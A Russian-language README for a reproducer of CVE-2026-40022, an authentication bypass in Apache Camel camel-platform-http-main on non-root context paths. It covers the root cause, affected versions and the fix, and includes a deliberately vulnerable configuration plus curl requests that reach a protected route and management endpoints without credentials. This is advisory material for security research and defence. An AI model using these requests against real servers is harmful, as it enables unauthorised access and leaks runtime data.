
Репродуктор для CVE-2026-40022: обход аутентификации Apache Camel camel-platform-http-main на некорневых путях контекста
Этот проект демонстрирует обход аутентификации в компоненте Apache Camel camel-platform-http-main
(встроенный HTTP/управляющий сервер основного рантайма Camel), отслеживаемый как
CVE-2026-40022. Когда аутентификация включена и задан некорневой контекстный путь (например, /api или
/admin), обработчик аутентификации покрывает только точный контекстный путь, поэтому
неаутентифицированные запросы к подпутям достигают защищённых маршрутов и управляющих эндпоинтов.
Информация об уязвимости: https://camel.apache.org/security/CVE-2026-40022.html
| Свойство | Значение |
|---|---|
| Компонент | camel-platform-http-main (встроенный HTTP/управляющий сервер Camel main runtime) |
| Затронутые классы | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Основная причина | Когда authenticationPath не задан, он определяется из camel.server.path; в модели монтирования суброутера Vert.x обработчик аутентификации соответствует только точному контекстному пути, а не его подпутям |
| CWE | CWE-287: Ненадлежащая аутентификация (обход аутентификации) |
| Влияние | Неаутентифицированный доступ к защищённым бизнес-маршрутам и управляющим эндпоинтам (например, раскрытие метаданных рантайма через /observe/info) |
| Затронутые версии | С 4.14.1 до 4.14.6 (не включая), и с 4.15.0 до 4.18.2 (не включая) |
| Исправленные версии | 4.14.6, 4.18.2, 4.20.0 |
| Автор отчёта | Jihang Yu |
| PR | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (и JWTAuthenticationConfigurer) определяют путь, который защищает
обработчик аутентификации, из properties.getAuthenticationPath(), возвращаясь к properties.getPath()
(контекстный путь camel.server.path), когда он явно не задан:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Сервер Vert.x монтирует суб-роутер на <contextPath>* и регистрирует обработчик аутентификации
внутри этого суб-роутера по разрешённому пути. В затронутых версиях разрешённый путь — это сам контекстный
путь, поэтому — относительно суб-роутера, уже смонтированного на /api, — обработчик аутентификации
в итоге соответствует /api/api, а не всем подпутям. В результате:
/api/api подвергается проверке (401) — обработчик присутствует, просто неправильно ограничен/api/hello (настоящий бизнес-маршрут) не подвергается проверке → обслуживается без учётных данныхИсправление заставляет resolveAuthenticationPath возвращать /*, поэтому обработчик покрывает все
подпути суб-роутера.
application.properties — некорневой контекстный путь с включённой аутентификацией и незаданным
authenticationPath:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
Маршрут обслуживается по адресу /api/hello.
Внешние сервисы или Docker-контейнеры не требуются — уязвимый HTTP-сервер является самим приложением.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
Обработчик BasicAuthHandler активен — но ошибочно ограничен точным контекстным путём.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
В исправленной версии (4.14.6 / 4.18.2 / 4.20.0) возвращается 401 Unauthorized.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
Тот же недостаток применим к управляющему серверу (camel.management.path, например /admin).
Неаутентифицированный запрос к подпути, например /admin/observe/info, достигает управляющего эндпоинта,
который может раскрыть метаданные рантайма: пользователя ОС, рабочую/домашнюю директорию, идентификатор
процесса, информацию о JVM и ОС.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath не заданы явно.Обновитесь до 4.14.6 / 4.18.2 / 4.20.0. Исправление (resolveAuthenticationPath) заставляет обработчик
аутентификации покрывать каждый подпуть:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
До обновления:
camel.server.authenticationPath = /* (и camel.management.authenticationPath = /*),
чтобы обработчик покрывал все подпути.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
Этот воспроизводитель предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.